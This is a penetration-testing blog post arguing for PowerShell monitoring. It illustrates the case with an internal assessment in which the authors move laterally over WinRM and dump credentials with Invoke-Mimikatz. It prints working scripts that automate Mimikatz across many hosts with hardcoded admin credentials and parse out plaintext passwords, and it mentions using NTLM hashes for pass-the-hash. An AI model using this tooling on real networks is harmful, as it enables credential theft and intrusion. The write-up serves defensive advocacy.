Invoke-Mimikatz – Seven in One Go

Invoke-Mimikatz

Seven in One Go

Michael Schneider
by Michael Schneider
time to read: 9 minutes

PowerShell monitoring is one of the measures we strongly recommend to our clients as part of every internal assessment. Often, this measure is not implemented for financial reasons. In this article, I will demonstrate why it is worth investing in monitoring, using the example of an actual attack.

Scenario

During an internal penetration test, we managed to gain local administration rights on a client computer. The password of the local administrator account was also used elsewhere on client computers. In addition, the Windows Remote Management service (WinRM) was active on all systems. A connection via WinRM was established with the command Enter-PsSession:

Enter-PsSession -ComputerName target1.example.org -Credential target1\administrator
[target1.example.org]: PS C:\Users\Administrator\Documents> ps

With this, we were in a position to execute commands with local administrator rights on other systems. The goal was now to getuser credentials on each active device. We used the PowerShell script Invoke-Mimikatz.ps1 by Joe Bialek as a basis. Invoke-Mimikatz has already implemented a function to execute Mimikatz on remote computers via WinRM.

Invoke-Mimikatz -DumpCreds -ComputerName target1.example.org

To read access data as simply and efficiently as possible, we had to make a small adjustment to the Invoke-Mimikatz, and also wrote our own script for automating and logging these activities.

Automated reading of access data

We began by expanding the script so that the credentials for the remote connection could be stored in the script itself. Invoke-Mimikatz normally uses the credentials of the user account that launches the script. So here we added the following lines to the Main() function:

$Username = "$ComputerName\administrator"
$PasswordPlain = "SeCuRePa$$1"
$Password = ConvertTo-SecureString $PasswordPlain -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username, $Password

If ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
{
    Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -Credential $Cred
}
Else
{
    Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName -Credential $Cred
}

Security notice: Saving plain-text passwords is bad security practice and should be avoided at all costs. In the TechNet Wiki Microsoft describes how to store encrypted passwords in a file or in the registry. Here it’s important to ensure that only the user who has encrypted the password is able to decrypt it. A password is stored as a SecureString:

PS C:\> $SecurePassword = Read-Host -Prompt “Enter password” -AsSecureString
Enter password: ***********
PS C:\> $SecureStringAsPlainText = $SecurePassword | ConvertFrom-SecureString
PS C:\> $SecureStringAsPlainText
01000000d08c9ddf0115d1118c7a00c04fc297eb010000009a344ea59d3a1848888877bbb6cc1a140000000002000…

An encrypted, saved password is read from a file and then converted into an object so that it can be used in a script:

$SecureString = $SecureStringAsPlainText | ConvertTo-SecureString

We built a wrapper script (GitHub) that reads hostnames from a file and accesses them sequentially to read user credentials.

$BasePath = "C:\tmp"
$Timestamp = (Get-Date).ToString("yyyyMd")
$Protocol = "$basePath\protocol-$timestamp.txt"
$Hosts = Get-Content $HostFile

Foreach ($ComputerName in $Hosts) {
    $Time = Get-Date -Format G
    $StartMessage = "[*] $Time - Connecting to $ComputerName..."
    $StartMessage | Tee-Object -Append -FilePath $Protocol

    $LogMimikatz = "$BasePath\cred_$ComputerName.log"

    Try {
        Invoke-Mimikatz -ComputerName $ComputerName -ErrorAction Stop -ErrorVariable ErrorInvokeMimikatz | Out-File -Encoding utf8 $LogMimikatz
    }
    Catch { 
        $Time = Get-Date -Format G
        $ErrorMessage = "[!] $Time - ERROR: $ComputerName - " + $ErrorInvokeMimikatz[1].FullyQualifiedErrorId
        $ErrorMessage | Tee-Object -Append -FilePath $Protocol
        $ErrorInvokeMimikatz = $null
    }

    $Time = Get-Date -Format G
    $EndMessage = "[*] $Time - $ComputerName done"
    $EndMessage | Tee-Object -Append -FilePath $Protocol
}

The script requires the parameter HostFile, in which all hosts are listed (one host per line). A rudimentary log is kept, describing when a host was accessed and when the processing was completed. The output of Invoke-Mimikatz is stored in a separate file. Should there be an error with a connection – if, for example, the system is inaccessible or access is denied, this is recorded in the log.

Evaluating the access data

Once the script is executed, a Mimikatz output file is available for each host. In order to quickly extract information such as plain-text passwords, we use another PowerShell script (GitHub). Using a regular expression (RegEx), every entry with a password that is not blank can be stored in a file or printed out on the screen.

$PasswordRegex = "\s+\*\sUsername\s+:\s(?<username>[a-zA-Z0-9]+)[\r\n]+\s+\*\sDomain\s+:\s(?<domain>[a-zA-Z0-9]+)[\r\n]+\s+\*\sPassword\s+:\s(?<password>(?!\(null\)).*)[\r\n]+"
$PasswordOutput = New-Object System.Collections.Generic.List[System.Object]

Foreach ($LogFile in Get-ChildItem -Recurse $Path) {
    $Content = Get-Content -Raw -Path $LogFile
    $PasswordMatches = Select-String -InputObject $Content -AllMatches -Pattern $PasswordRegex

    Foreach ($Match in $PasswordMatches.Matches) {
        $SearchEntry = New-Object System.Object
        $SearchEntry | Add-Member -NotePropertyName "Username" -NotePropertyValue $Match.Groups["username"].Value
        $SearchEntry | Add-Member -NotePropertyName "Domain" -NotePropertyValue $Match.Groups["domain"].Value
        $SearchEntry | Add-Member -NotePropertyName "Password" -NotePropertyValue $Match.Groups["password"].Value
        $PasswordOutput.Add($SearchEntry)
    }
}

$PasswordOutput = ($PasswordOutput | Sort-Object -Property Username -Unique)

A further function of the script extracts all NTLM hashes, which can then be used for both pass-the-hash attacks and for breaking the password using hashcat.

By the way, this assessment caught more than seven passwords in one go. Active monitoring of PowerShell activity might not have prevented the attack, but the attack on user credentials would not have been undiscovered.

About the Author

Michael Schneider

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)

Links

You want to bring your logging and monitoring to the next level?

Our experts will get in contact with you!

×
Reporting and Documenting

Reporting and Documenting

Michael Schneider

Introduction of CVSS v4.0

Introduction of CVSS v4.0

Michael Schneider

Rogue Device

Rogue Device

Michael Schneider

Windows LAPS

Windows LAPS

Michael Schneider

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here